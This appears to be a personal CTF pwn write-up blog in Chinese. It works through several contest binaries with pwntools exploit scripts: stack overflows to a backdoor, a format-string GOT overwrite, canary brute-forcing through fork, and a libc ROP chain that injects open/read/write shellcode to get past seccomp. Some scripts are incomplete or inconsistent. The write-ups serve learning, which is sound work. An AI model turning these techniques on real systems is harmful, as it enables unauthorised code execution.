GGGGGGGEKKKWWWWWWWWWWWWWWWWWWWWWEi .GEiiEEEEEEEEiGE ,i iEGGLEEEGGGGGEGGGGGGj KKKWWWWWWWWWWWWWWW
GGGGGGGKKKWWWWWWWWWWWWWWWWWWWWWWGi .GE.LEEEEEEEijG G. GGEjGLEEGGEEEGGGGGGGEKGWWWWWWWWWWWWWWWW
GGGGGGEKKKWWWWWWWWWWWWWWWWWWWWWWGi ,E ,EEEEEEEi.G Lj,jGE,LjGEEGEEEGGGGGGEKK,KWWWWWWWWWWWWWWW
GGGGGGKKKKWWWWWWWWWWWWWWWWWWWWWWGG.. .L. iEEEEEEt.G jL GE,j LGEGEEEGGGGGGEKG KWWWWWWWWWWWWWWW
GGGGGGKKKKWWWWWWWWWWWWWWWWWWWWWWLi.jj, .j .GEEEEEt.G .., GE,. jEEGGEEGGGGGGKKt KKWWWWWWWWWWWWWW
GGGGGGKKKKWWWWWWWWWWWWWWWWWWWWWWGt .,jj,EEEGE, iEGGEEEKEGEKKEEtEWWWWWWWWWWWWWWW
GGGGGEKKKWWWWWWWWWWWWWWWWWWWWWWWEt .,,.,. jEGGEEEKKEEKEEGGEWWWWWWWWWWWWWWW
GGGGGKKKKWWWWWWWWWWWWWWWWWWWWWWKKt ... ,GGEEEEKKEKEGGEEKWWWWWWWWWWWWWWW
KEGGGKKKWWWWWWWWWWWWWWWWWWWWWWWEKi ..iEEEEi.. .GEEEEKKKEGGGEEKWWWWWWWWWWWWWWW
KEGGKKKKWWWWWWWWWWWWWWWWWWWWEWWEij .tKKKtj ,.t, tK. KKKEGKKKGGGEEEEWWWWWWWWWWWWWWW
KEGGKKKKWWWWWWWWWWWWWWWWWWWWEEWEij.tEKtjjjj ..,GKG t, LKKEEEKKEEEEGEEWWWWWWWWWWWWWWW
KKGGKKKKWWWWWWWWWWWWWWWWWWWWKLKLitiKG, .. ,. . tKK G EKKEGEKKEEEEEEEWWWWWWWWWWWWWWW
KKGEKKKWWWWWWWWWWWWWWWWWWWWWKLLiitKi iKEt .. ,GKK, Ei. KKKEGEKKEGEEGGEWWWWWWWWWWWWWWW
KKGKKKKWWWWWWWWWWWWWWWWWWWWWEiiiiG jjKKK EKKEE. . KKKEEEEKGGGGGGGGWWWWWWWWWWWWWW
KKEKKKKWWWWWWWWWWWWWWWWWWWWWELiiiK LKKKK. EEEEE. j. KKKEEEEKGGGGGEEjWWWWWWWWWWWWWW
KKKKKKKWWWWWWWWWWWWWWWWWWWWWKLiiLE LKKKKi EEEEG . KKKEEEEKGEGGGEEjWWKKWWWWWWWWWW
KKKKKKKWWWWWWWWWWWWWWWWWWWWWKLiLLi iKKKKL tEEE. .KKKEEEEKGEGGGEEiWWKGWWWWWWWWWW
KKKKKKWWWWWWWWWWWWWWWWWWWWWWWGiiGt EEEEj . ,KKKEEEEKGEGEGEEEEWW,WWWWWWWGGW
KKKKKKWWWWWWWWWWWWWWWWWWWWWWWKiLGt EEEE . . ,KKEEEGEKGEEEGEEEiWWtWWWWWWKLLK
KKKKKKWWWWWWWWWWWWWWWWWWWWWWWWiiLt .tij . jKEEKEEEKEEEGGEEE,KWGWWWWWWKLLK
KKKKKKWWWKWWWWWWWWWWWWWWWWWWWWiLLi ... iLEEKKEEEKEGEGGEEEiEWKWWWWWWKLLG
KKKKKKWWWKWWWWWWWWWWWWWWWWWWWWLiii...., .. iKKKKEEEEGGEGGEEEGEEWKKKKWWWELL
KKKKKKWWWKWWWWWWWWWWWWWWWWWWWWELii.... ... tKKKKEEEEEEEGGEEEGEEEWKGtWWWWLL
KKKKKKWWWKWWWWWWWWWWWWWWWWWWWWWGii..... . tKKKKEEEEEEEEGGEELEEGKKGtKWWWGL
KKKKKKWWWKWWWWWWWWWWWWWWWWWWWWWKLi,. .. tKKKKEEEEEEGEGGGE,GELKKGLKWWWGL
KKKKKKWWWKWWWWWWWWWWWWWWWWWWWWWWKKi. LKKKKEEEEEEGGGEGG.GL GLGGGKKWGG
KKKKKKKWWKWWWWWWWWWWWWWWWWWWWWWKKKEt. EKKKKEEEEEEGGGGGLtEt ,LLGEKKKG
KKKKKKKWWKWWWWWWWWWWWWWWWWWWWWWLLLLt. .KKKKKEEEEEEGGGGG,GE, jLLEKKG
KKKKKKKWWKWWWWWWWWWWWWWWWWWWWWWGiiit. ...., jKKKKKEEEEEEGGGGG.EG tiGKKK
KKKKKKKWWKKWWWWWWWWWWWWWWWWWWWWEiiiii. jKKKKKKEEEEEEGGGGGGG. iLLLGK
KKKKKKKWWKKWWWWWWWWWWWWWWWWWWWWKLiiiij ,EKKKKKEEEEEEEGGGGGGj iLiLLG
KKKKKKKWWKKWWWWWWWWWWWWWWWWWWWWKLiiiii KKKKKKEEEEEEEGEGGGGG iLitiG
KKKKEKKWWKKWWWWWWWWWWWWWWWWWWWWWGiiiii jKKKKKEEEEEEEEEEGGj iLt,iL
KKKKEKKKWKKKWWWWWWWWWWWWWWWWWWWWKLiiiiij iKKKKKKEEEEEEEEEEEEG, iLt.iL
KKKKEKKKWKKKKWWWWWWWWWWWWWWWWWWWWKLiiiiij LKKKKKKEEEEEEEEEEEEEGj iLt.iG
KKKKKEKKKWKKKWWWWWWWWWWWWWWWWWWWWWKGLiiiij .KKKKKEEEEEEEGGEEEGGjGi tLt.iL
KKKKKGKKKKKKKWWWWWWWWWWWWWWWWWWWWWWWKEiiii jKKKKKEEEEEEEEGGGEGGG.GG t tLt.ti
KKEKKKKKKKKKKKWWWWWWWWWWWWWWWWWWWWWWWWKKKELij. EKKKKKKEEEEEEEEEGEGEGGt tGt , iLt.ii
KKEKKKEKKKKKKKWWWWWWWWWWWWWWWWWWWWWWWWKKKGiLLij.. .iKKKKKKEEEEEEEEEEEGEEGG .,. iLt.it
KKEGKKEKKKKKKKWWWWWWWWWWWWWWWWWWWWWWWWKKWEiiiiiLLij,,.,tEKKKKKKKEEEEEEEEEEEGEEGj iLt.ji
KKEGGKKKKKKKKKKWWWWWWWWWWWWWWWWWWWWWWWWWKKiiiiiiiiiiiiGKKKKKKKKEEEj,tLEEEEGGEGG iLt. i
KKEGGGEKKKKKKKKKWWWWWWWWWWWWWWWWWWWWWWWLiLiiiiiiiiiiiiLitGKKKKEGGG iEEEGEG iLt.
KKKGGGGGGKKKKKKKWWWWWWWWWWWWWWWWWWWWWWKiiLiiiiiiiiiiiiLLttKKKK,..j ,. iEGGG. iLt.
KKKGGGGGGGKKKKKKKKWWWWWWWWWWWWWWWWWWWWEiiLiiiiiiiiiiiiLLitGEKE j .,.. .LGGi. iLt.
KKKGGGGGGGKKKKKKKKWWWWWWWWWWWWWWWWWWWWGtiGiiiiiiiiiiiiiiLtLiEE. j , GGi iLt.
KKKGGGGGLLKKKKKKKKKKKWWWWWWWWWWWWGGWKWWKLiGLiiiiiiiiiiiiLttEEEj ... j GGL tLt.
KKKGGGGEEKKKKKKKKKKKELiLWWWWWELLGGLGKKWWKLiLLiiiiiiiiiiLitiEEEt ,... . tGG, ti tLt.
KKKGGGLGKKGEKKKKKKKGttiiLKWWKLiLLLGLLKKWWKiiiLiiiiiiiiiLttiEEE.,. L., ,., tGGtGt iLt.
KKKGGGLLLLLEKKKKKKLtiiiiiiWWGLLLLiLLGLKKKWLiiiLLiiiiiiiLttLEEG ,LiL , , ..GGGL, tLj.
KKKGGGLLLLLLEKEKKEiiiiiiiiLLLLLLiiiLLGKKWKWKLtiiiiLiiiLittLEEG .iL.j ,, , tLj.
KKKGGGLLLLLLGKEEEiiiiiiiiiGLLLGLiiLLLLKKKKWWKiiiiiiLLLLLitLEEL .titt ., . tLj. .
KKKGGGLLLLLLLGEELtLLiiiiiiLLLLLiiiGiiiGKKKWKKEttttLiiiGtLtLEEi .iiit . , tLj.
KKKGGGLLLLLLLGEEitiiLiiiiiLLLLLiiiiiiiLEKKKKGKtititittLiiiGEEi jiiiit j . tLj.
KKKGGGLLLLLLLGEitiiiiiiiiiLLLLiiLGiiiiLiGWKKKLLtiiiiitLitiEEEi tiii .t , , tLj.
KKKEGGLLLLLLLGLtiiiiiiLiiiLLLLiiLLiiiiiiLKKKKEEiiiiiLiiittEEEi jtitj.. , iLj.
KKKEGGLLLLLLLGitiiiiiiLiiiGLLLiiLiiiLGiiiGKWKGKGLiiiiiiittEEGi jit .. . . iij.
KKKEGGLLLLLLLGtiiiiiiiiLiiLLLiiiLiiiLLiiiiKKKEKKLiGGLitiLtEEEG jj , . . tij.
KKKEGGLLLLLLLGtiiiiiiiiiLiiLiiiiiiLLiiiGLiKKKEKKELttLiiiGGLGGt .. . . tij.
KKKEGGLLLLLLLLtiiiiiiiiiLiiLLiiiiiLiiiLLiLKKKEKEGGGLLGGEGGtiEt. . ,. , . tij.
KKKEGGLLLLLLLiiiiiiiiiiiiLiiLLiiiiiiiiiLGKKKKEKEGGGGEGGEEEttGti. , . , , tij.
KKKEGGLLLLLLLiiiiiiiiiiiiLiiiLiiiiiiiiiLEEKKKKKEGGGGEGGEGGjttLt, . . . . tij.
KKKKGLLLLLLLLtiiiiiiiiiLiiLiiiLiiiiiiiiiiGKKKEGGGGGGGGGGGtjjjjjj .., . tij. .
KKKKGLLLLLLLLtiiiiiiiiiLiiLiiiGLiiiiiiiiiiKKKEGGGGGGGEGGLtjjjjjt. , , . tij.
KKKKGGLLLLLGitiiiiiiiiiLiiiLiiiLLiiiiiiiiiEKKKEGGGGGGLijLtjjjjjtj .j . . tij.
KKKKGGLGLLLGitiiiLiiiiiLiiiLiiiiLiiiiiiiiiLEEEEGGGGGiLt.j tittjjt. , , . . iLj.
KKKKGGGGLLLLttiiiiiiiiiiLiiiiLiiiiiiiiiiiiiLEGGGGGiiii ........,j . . , iLj.
KKKKGGGGLLLLttiiiiiiiiiiLiiiiLiiiiGLiiiiiiiLEGGGEGLLit .,t,j,...., , .. . iLj,
KKKKGGGGGLLLttiiiiiiiiiiLiiiiiiiiiGGLiiiiiiGEGEGGLLLGLj,,t,,t..... , , iLj,
KKKKGGGGGLLittiiiiLiiiiiiiiiiiiiiiGiLGiiiiiGGEGLLLLLLtt,.,tj,....., ,. iLj,
KKKKGGGGGLGitiiiiiLiiiiiiLiiiiLiLiLiiiiiiiLGLLLLLLLLj,t,.,,.......i, . iLj.
KKKKEGGGLLGitiiiiiiLiiiiiLiiiiLiLiLiiiiiiiGGLLLLLLLi,,j,.,,.......tL . . iLj.

わたし、気になります!^C
llq@llq-virtual-machine:~/阿巴拉巴拉$

ok,这就是二刺螈吗??

NX和canary都是开着的

感觉应该不是打溢出题??
直接溢出??

1
2
3
4
5
6
7
8
9
from pwn import *

p=remote('8.147.132.32',31869)


#p.sendlineafter('pls input the length you want to readin: ',b'48')
payload=b'a'*(0x20+8)+p64(0x0040123B )
p.sendline(payload)
p.interactive()

事实证明确实不是溢出题

难道是got表的覆写??
但是有偏移这一说吗???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
#io = process('./fmt')


io = remote('127.0.0.1',10000)
elf = ELF('./pwn')
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']
payload = fmtstr_payload(10,{printf_got:system_plt})

io.sendline(payload)
#io.recv()
io.sendline(b'$0')
io.interactive()

这里用gdb调试了一下

确实是可以溢出覆盖返回地址的

image-20241016195511910

但是注意的是只能输入整数

怎么修改返回地址呢??这里用41989710x00000000040123B)写进返回地址,因为调试发现它一次只修改4字节。先修改低32位,在修改高32位。我们这里只用了三字节,其余用0代替。

但是这里可以看见是存在canary的。所以我们需要注意的是怎么利用scanf绕过canry

image-20241017122600395

找了一篇文章以PWN视角看待C函数——scanf_pwn scanf-CSDN博客

image-20241017122904872

小小尝试了一手感觉是可以的

image-20241017124838430

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

p=remote('101.200.139.65', 28725)

#p=process('./pwn')


#elf=ELF('./pwn')


backdoor =0x401261


#p.recvuntil('ます!')
#payload=b'1111'*(6) #垃圾填充
#payload+=b'+'*2 #canary
#payload+=b'1111'*2 #rbp
#payload+=b'4198971'+b'0' #返回地址
#payload+=b'1111'*4 #垃圾填充
#p.sendline(payload)



p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',b'+')
p.sendlineafter('ます!',b'+')
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(0x00000000040123F))
p.sendlineafter('ます!',str(0))
#payload=p32(4198971)
#p.sendlineafter('ます!',payload)
#p.sendlineafter('ます!',b'0')
p.sendlineafter('ます!',str(1))
p.sendlineafter('ます!',str(2))
p.sendlineafter('ます!',str(3))
p.sendlineafter('ます!',str(4))





'''
backdoor=0x401261
for i in range(6):
p.recvuntil("わたし、気になります!")
p.sendline(str(1))

p.recvuntil("わたし、気になります!")
p.sendline(b'-')
p.recvuntil("わたし、気になります!")
p.sendline(b'-')

p.recvuntil("わたし、気になります!")
p.sendline(str(1))
p.recvuntil("わたし、気になります!")
#bug()
p.sendline(str(1))

p.recvuntil("わたし、気になります!")
p.sendline(str(backdoor))
for i in range(5):
p.recvuntil("わたし、気になります!")
p.sendline(str(0))
'''

#payload=p32(1)*6+b'+'*2+p32(1)*2+p32(4198971)+p32(0)+p32(1)*4
#p.sendline(payload)

p.interactive()

EZcanary

2024.10.21

日常检查

1
2
3
4
5
6
7
8
bbq@ubuntu:~/桌面/啊布拉布拉$ checksec ezcanary
[*] '/home/bbq/桌面/啊布拉布拉/ezcanary'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
bbq@ubuntu:~/桌面/啊布拉布拉$

正如它的名字一样NX是开着的

猜测是一个canary的绕过

应该挺难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  v5 = __readfsqword(0x28u);
init(argc, argv, envp);
memset(s, 0, 0x50uLL);
do
{
if ( !fork() )
{
puts("我保护开了这么多");
puts(aEEE);
puts("你觉得呢?");
read(0, s, 0x100uLL);
return 0;
}
wait(0LL);
puts("有本事就来hack我吧(*^_^*)");
read(0, s, 0x100uLL);
}
while ( strcmp(s, "cat flag\n") );
puts("flag is one_by_one_bruteforce");
read(0, s, 0x100uLL);
return 0;
}

点进去看见了几个read。函数栏看见了后门,应该是一个溢出题,但是是要绕过canary

看一下canary的位置,很经典的rbp-8的位置

没什么思路去泄露canary

emm~猜测是read函数去泄露吧

第一个read进行泄露

第二read进行strcmp函数的绕过,

最后一个函数进行read函数的溢出????

ok,问了一手师傅,

爆破canary

借鉴题目-2023-国赛-pwn-funcanary

怎么说呢,爆破canary提示点在这个fork函数

C语言中的fork()函数用于创建一个新的进程,该进程是原始进程(父进程)的一个副本。这个副本将从fork()函数之后的代码行开始执行,父进程和子进程在此处分别继续执行不同的代码。
fork()函数的返回值有以下三种可能情况:
如果返回-1,表示创建新进程失败。
如果返回0,表示当前进程是子进程。
如果返回一个正整数,表示当前进程是父进程,返回的整数是子进程的进程ID。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = remote("pwn.challenge.ctf.show",28255)
p=process('./ezcanary')

canary = b'\x00' # 将初始的 canary 值改为字节串

for k in range(7): #总共要爆破7位
for i in range(256):
p.recvuntil('你觉得呢?\n')
payload = b'a' * 0x58 + canary + bytes([i]) # 将所有相关字符串改为字节串并使用 bytes([i]) 来构造字节串
p.send(payload)
#p.sendafter('有本事就来hack我吧(*^_^*)',b'1')
data = p.recvuntil("\n")
print(data)
#print('\x1b[01;38;5;214m' + data + '\x1b[0m')
if "你觉得呢?\n".encode('utf-8') in data:
canary += bytes([i]) # 确保更新的 canary 也是字节串
print("canary is:" + str(canary))
sleep(0.1)
sl(b'a')
break
else:
sleep(0.1)
sl(b'a')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = remote("pwn.challenge.ctf.show",28255)
p=process('./ezcanary')




def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


canary = b'\x00' # 将初始的 canary 值改为字节串
for k in range(7): #总共要爆破7位
for i in range(256):
rl("你觉得呢?")
payload = b'a' * (0x58) + canary + bytes([i])
p.send(payload)
p.recvuntil(b'\n')
data = p.recvuntil(b'\n')
print(b'data:' + data)
if b'hack' in data:
canary += bytes([i]) # 确保更新的 canary 也是字节串
print("canary is:" + str(canary))
sleep(0.1)
sl(b'a')
break
else:
sleep(0.1)
sl(b'a')



rl("你觉得呢?")
payload = b'a' * (0x58)
p.send(payload)
rl("有本事就来hack我吧(*^_^*)")
payload = b'cat flag\n'
s(payload)
rl("flag is one_by_one_bruteforce")
payload=b'a'*(0x58)+canary*2+p64(backdoor)
s(payload)

One Last B1te

2024.10.22

日常检查

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~$

丢进ida里面发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-18h] BYREF
char v5[16]; // [rsp+10h] [rbp-10h] BYREF

init(argc, argv, envp);
sandbox();
write(1, "Show me your UN-Lucky number : ", 0x20uLL);
read(0, &buf, 8uLL);
write(1, "Try to hack your UN-Lucky number with one byte : ", 0x32uLL);
read(0, buf, 1uLL);
read(0, v5, 0x110uLL);
close(1);
return 0;
}

看着像ORW,因为也是看见那个沙箱了

ORW

1
2
3
4
5
6
7
8
9
10
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 40LL, 0LL);
return seccomp_load(v1);
}

前几天才打的强网拟态杯

但是查了一下寄存器,发现没有相应的寄存器地址

难道说????

我看了一下别的题ReRead,那个才是ORW。

我只能说🙌🙌🙌🙌🙌

先放着

!!

2024.10.23

官方wp发了

就准备复现一手

查一下过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
seccomp-tools dump ./pwn


llq@llq-virtual-machine:~/阿巴拉巴拉/1$ seccomp-tools dump ./pwn
/$$$$$$ /$$ /$$ /$$$$$$$ /$$ /$$
/$$__ $$ | $$ | $$ | $$__ $$ /$$$$ | $$
| $$ \ $$ /$$$$$$$ /$$$$$$ | $$ /$$$$$$ /$$$$$$$ /$$$$$$ | $$ \ $$|_ $$ /$$$$$$ /$$$$$$
| $$ | $$| $$__ $$ /$$__ $$ | $$ |____ $$ /$$_____/|_ $$_/ | $$$$$$$ | $$ |_ $$_/ /$$__ $$
| $$ | $$| $$ \ $$| $$$$$$$$ | $$ /$$$$$$$| $$$$$$ | $$ | $$__ $$ | $$ | $$ | $$$$$$$$
| $$ | $$| $$ | $$| $$_____/ | $$ /$$__ $$ \____ $$ | $$ /$$ | $$ \ $$ | $$ | $$ /$$| $$_____/
| $$$$$$/| $$ | $$| $$$$$$$ | $$$$$$$$| $$$$$$$ /$$$$$$$/ | $$$$/ | $$$$$$$/ /$$$$$$ | $$$$/| $$$$$$$
\______/ |__/ |__/ \_______/ |________/ \_______/|_______/ \___/ |_______/ |______/ \___/ \_______/
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0009
0006: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0009
0007: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
llq@llq-virtual-machine:~/阿巴拉巴拉/1$

image-20241023164313043

菜逼只会chatgpt

猜测还是ORW

有一次任意地址写的机会。

程序在新版 Ubuntu 24 下编译,优化掉了 CSU,此时我们很难利用 ELF 的 gadget 来 ROP.

我们想办法泄露 libc 地址或者 ld 地址然后利用 libc/ld 中的 gadget 来 ROP,执行 open + read + write 来输出 flag 文件内容。

程序中只有 write 函数可以进行输出,我们可以利用一个字节任意地址写的机会,把 close 函数的 GOT 表的数值改为write函数的 PLT 表的地址(因为存在延迟绑定,close 在第一次调用之前指向的是 PLT 中的表项,我们很容易利用修改最低一个字节的方法来使其指向 write 函数的 PLT 表)。

之后由于 close(1) 设置第一个参数为 1,同时 read(0, v5, 0x110uLL); 会残留第 2、3 个参数,我们修改 close 的 GOT 表之后相当于执行 write(1,v5,0x110uLL);,就可以泄露栈上的内容,正好能泄露 libc 地址,之后利用栈溢出再次启动 main 函数栈溢出 ROP 即可。

由于 glibc 2.39 版本不容易控制 rdx 寄存器,我们可以使用 pop rax + xchg eax, edx 的方法来设置 rdx 寄存器的数值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# sudo sysctl -w kernel.randomize_va_space=0
# gcc pwn.c -o pwn -masm=intel -no-pie -fno-stack-protector -l seccomp
from pwn import*
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './pwn'
p=remote('localhost',11451)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)

close_got=0x404028
write_plt=0x4010c0

p.sendafter("Show me your UN-Lucky number :",p64(close_got))
p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\xc0')
ret=0x0401447
main=0x4013a3
rubbish=0x404000+0x800
payload=b'a'*0x18+p64(ret)+p64(main)
pause()

p.send(payload)
p.recvuntil(b'a'*0x18)
p.recv(0xb8-0x18)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x710b26c2a28b+0x710b26c00000

p.sendafter("Show me your UN-Lucky number :",p64(rubbish))

p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\x70')

pop_rdi=libc_base+0x010f75b
pop_rsi=libc_base+0x110a4d
binsh=libc_base+0x1cb42f

xchg_edx_eax=libc_base+0x01a7f27

pop_rax=libc_base+0x0dd237

open_a=libc_base+0x011B120
read_a=libc_base+0x011BA50
mprotect=libc_base+0x00125C10

payload=b'a'*0x18+p64(pop_rdi)+p64(libc_base+0x202000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax)+p64(7)+p64(xchg_edx_eax)+p64(mprotect)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc_base+0x202000)+p64(pop_rax)+p64(0x1000)+p64(xchg_edx_eax)+p64(read_a)+p64(libc_base+0x202000)

pause()

p.send(payload)

pause()

shellcode=''
shellcode+=shellcraft.open('./flag',0,0)
shellcode+=shellcraft.read('rax',libc_base+0x202000+0x800,0x100)
shellcode+=shellcraft.write(2,libc_base+0x202000+0x800,'rax')
# gdb.attach(p)
p.send(asm(shellcode))

p.interactive()

先放着 One Last B1te | WriteUp - NewStar CTF 2024 (openctf.net)

EZ_shellcode

2024.10.23

回来复现是一首

像这种传shellcode的题,确实是一点不会嘞!!

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~/阿巴拉巴拉$ checksec pwn
[*] '/home/llq/阿巴拉巴拉/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~/阿巴拉巴拉$

每次都是看一下保护机制就完事了

我是真废啊

1
2
3
4
5
6
7
8
9
int __fastcall main(int argc, const char **argv, const char **envp)
{
initial(argc, argv, envp);
fwrite("Welcome to Shellcode World!\n", 1uLL, 0x1CuLL, stdout);
fgets(0xD000721, 4096, stdin);
sandbox();
memmove(0xD000000, Ciallo, 0x27uLL);
JUMPOUT(0xD000721LL);
}

其实点进去的时候,第一眼看见就不知道要考什么??

fgets函数:

1
char *fgets(char *str, int num, FILE *stream);

参数说明:

str:指向一个字符数组的指针,用来接收从文件流中读取的字符串。
num:指定最多读取的字符数,包括最后的空字符(’\0’)。
stream:指向 FILE 对象的指针,该 FILE 对象标识了要从中读取数据的文件流。
返回值:

如果成功读取数据,fgets 返回 str 指针。
如果发生错误或立即遇到文件结束符(EOF),返回 NULL。

看一下沙箱

查看沙箱过滤规则

1
seccomp-tools dump ./pwn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
llq@llq-virtual-machine:~/阿巴拉巴拉$ seccomp-tools dump ./pwn
Welcome to Shellcode World!
ok
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000101 if (A != 257) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x15 0x00 0x01 0x000001b5 if (A != 437) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x15 0x00 0x01 0x00000000 if (A != 0) goto 0015
0014: 0x06 0x00 0x00 0x00000000 return KILL
0015: 0x15 0x00 0x01 0x00000013 if (A != 19) goto 0017
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x15 0x00 0x01 0x00000127 if (A != 295) goto 0019
0018: 0x06 0x00 0x00 0x00000000 return KILL
0019: 0x15 0x00 0x01 0x00000147 if (A != 327) goto 0021
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0021: 0x15 0x00 0x01 0x00000011 if (A != 17) goto 0023
0022: 0x06 0x00 0x00 0x00000000 return KILL
0023: 0x15 0x00 0x01 0x00000001 if (A != 1) goto 0025
0024: 0x06 0x00 0x00 0x00000000 return KILL
0025: 0x15 0x00 0x01 0x00000014 if (A != 20) goto 0027
0026: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
llq@llq-virtual-machine:~/阿巴拉巴拉$

image-20241023155519244

这里我直接是问的chatgpt进行解释的

禁用execve函数和execveat函数,open函数。read函数

提示用ORW函数进行解题。

知识点:当禁用open、read、write函数时,可以用哪些函数替代

  • 对于open函数,选择opennat或者openat2函数
  • 对于read函数,选择readv、preadv、preadv2、pread64或者mmap函数
  • 对于write函数,选择writev、sendfile函数(且能省略read)

放个门:seccomp学习 (2)_seccomp绕过-CSDN博客

并且是要shellcraft函数需要恢复rsp寄存器。

套一手师傅的版子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
